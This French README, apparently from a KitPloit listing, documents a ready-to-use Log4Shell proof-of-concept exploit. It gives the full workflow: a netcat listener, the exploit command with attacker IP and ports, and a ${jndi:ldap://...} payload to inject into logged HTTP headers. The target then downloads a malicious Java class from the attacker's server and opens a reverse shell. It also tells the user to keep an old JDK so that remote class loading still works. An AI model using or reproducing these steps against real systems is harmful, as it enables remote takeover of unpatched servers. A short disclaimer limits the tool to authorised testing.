Installation

1. Clonez ou téléchargez ce dépôt.
2. Placez le dossier jdk1.8.0_20 et le JAR marshalsec comme décrit ci-dessus.
3. Installez les dépendances Python :
   root@kitploit:~

   pip install -r requirements.txt
   

Utilisation

Exécutez le script avec Python :

Arguments de la ligne de commande

Exemple

1. Démarrez un écouteur netcat sur votre machine d'attaque (remplacez 9001 par le port choisi) :

   root@kitploit:~

   nc -lvnp 9001
   

2. Exécutez l'exploit :

   root@kitploit:~

   python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
   

   Si vous omettez --userip, le script utilisera automatiquement l'adresse IPv4 principale de votre machine.

3. Le script affichera une chaîne de charge utile à injecter dans la cible vulnérable, par exemple :

   root@kitploit:~

   ${jndi:ldap://192.168.1.10:1389/a}
   

4. Injectez cette chaîne dans tout champ de saisie ou en-tête HTTP journalisé par une instance Log4j vulnérable (par exemple, User-Agent, X-Forwarded-For, etc.). La cible se connectera au serveur LDAP, récupérera la classe malveillante depuis le serveur HTTP et exécutera le shell inverse.

5. Vous devriez voir une connexion shell apparaître dans votre écouteur netcat.

Fonctionnement

1. Le script génère Exploit.java contenant le code qui ouvre un shell inverse vers userip:lport.
2. Il compile le fichier à l'aide du JDK fourni (ou du javac système).
3. Il démarre un serveur LDAP (via marshalsec) qui répond aux recherches JNDI avec une référence au serveur HTTP.
4. Il démarre un serveur HTTP simple sur webport pour héberger la classe Exploit.class compilée.
5. Lorsqu'une cible vulnérable effectue une recherche JNDI avec la charge utile injectée, elle télécharge et exécute la classe, offrant à l'attaquant un shell inverse.

Remarques importantes

• La charge utile du shell inverse utilise /bin/sh et est destinée aux systèmes cibles de type Unix. Pour des cibles Windows, vous devrez modifier la commande à l'intérieur de Exploit.java.
• Le JDK 1.8.0_20 inclus est recommandé car les versions ultérieures peuvent bloquer le chargement distant de classes JNDI utilisé par cet exploit.
• Assurez-vous que les pare-feu autorisent les connexions entrantes sur les ports spécifiés (webport et lport) et que la cible peut atteindre votre machine.

Nettoyage

Le script supprime automatiquement Exploit.java et Exploit.class à la sortie (normalement ou après un KeyboardInterrupt). Si vous devez conserver ces fichiers pour le débogage, commentez le bloc finally dans poc.py.

Avertissement

Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel.

Crédits

• PoC original par kozmer
• Marshalsec par mbechler
• Vulnérabilité Log4j découverte par l'équipe de sécurité Alibaba Cloud